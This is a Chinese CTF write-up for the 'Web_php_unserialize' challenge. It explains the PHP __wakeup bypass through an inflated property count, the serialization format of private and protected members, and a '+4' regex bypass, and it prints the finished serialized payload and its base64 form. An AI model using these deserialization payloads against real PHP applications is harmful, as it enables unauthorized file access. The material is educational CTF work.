攻防世界:Web_php_unserialize

攻防世界:Web_php_unserialize

本文知识点:

  1. php魔术方法(__wakeup)的绕过。 魔术方法 __wakeup() 是当php函数调用unserialize函数的时候自动调用的。但是当序列化后的属性的数量超过实际的数量 的时候,在特定的php版本是可以绕过__wakeup()方法的调用的。

    • 具体受影响的版本是**:PHP 5<5.6.25; PHP 7<7.0.10**

    一个简单的例子:

    php 复制代码
    <?php
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
    }
    ?>

    将上述代码序列化后的数据是: O:4:"Demo":1:{s:10:"\0Demo\0file";s:8:"fl4g.php";}

    将其改为:O:4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}便能够绕过魔术方法__wakeup的调用。

  2. 序列化数据显示:
    public 属性序列化的时候格式是正常成员名
    private 属性序列化的时候格式是\0类名\0成员名 : 比如"\0Demo\0file"
    protect 属性序列化的时候格式是\0*\0 成员名 :比如"\0*\0file"

  3. 正则表达式中,属性数量的绕过,可以将数字前面添加正号(如:+4)进行绕过。

解题思路

对象的序列化:

php 复制代码
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
}
$a = new Demo("fl4g.php");
$b = serialize($a);
var_dump($b);
?>

上述代码的打印结果如下(注意\0的显示):

  1. 绕过正则表达式检查, 将4变为+4即可:

    O:+4:"Demo":1:{s:10:"\0Demo\0file";s:8:"fl4g.php";}

  2. __wakeup方法的绕过,就是将类的属性的数量增加(只要大于原始的数量1即可):

    O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}

    O:+4:"Demo":3:{s:10:"\0Demo\0file";s:8:"fl4g.php";}

  3. 序列化数据,这里我使用的是python的方法,根据个人习惯即可,网上的题解一般使用的是php方法:

    python 复制代码
    import base64
    
    s = 'O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}'
    print(base64.encodebytes(s.encode()).decode())

    输出的结果为: TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

  4. 将其通过变量var传递到服务端即可:

拿到结果:

相关推荐
RobinDevNotes24 分钟前
从 Electron 到 GPUI,9 个跨平台桌面方案该怎么选
前端·javascript·rust·electron·openresty·前端开发工具
jay神1 小时前
基于 YOLOv8 的轴承缺陷检测(Web 版)
前端·人工智能·yolo
jay神2 小时前
基于 YOLOv8 的森林火灾检测系统(Web 版)
前端·yolo
code2cat2 小时前
HTML基础篇之第一张网页:从index.html到浏览器里的任务清单
前端·html
miss2 小时前
AI 改完不敢上线?OpenSpec 规约驱动开发实战
前端·代码规范·前端工程化
AiMan3 小时前
腾讯ima还是不可以导出左侧所有对话,只能单条导出,方法不对吗
前端
去伪存真3 小时前
并发量一高就装死?Agent 全链路“防猝死”手册
前端·agent
Moment3 小时前
AI 编程时代,聊聊我的 Mac mini 双屏桌面
前端·后端
AiMan3 小时前
先确认能不能一次把Microsofat Copilot所有内容打包一个文件导出
前端
总要学点什么3 小时前
第97篇:三维数据加载-城市建筑白模自定义着色器——让一条光带沿高度扫上去,快慢却由帧率说了算
前端·gis·webgl·cesium·着色器·空间分析·白模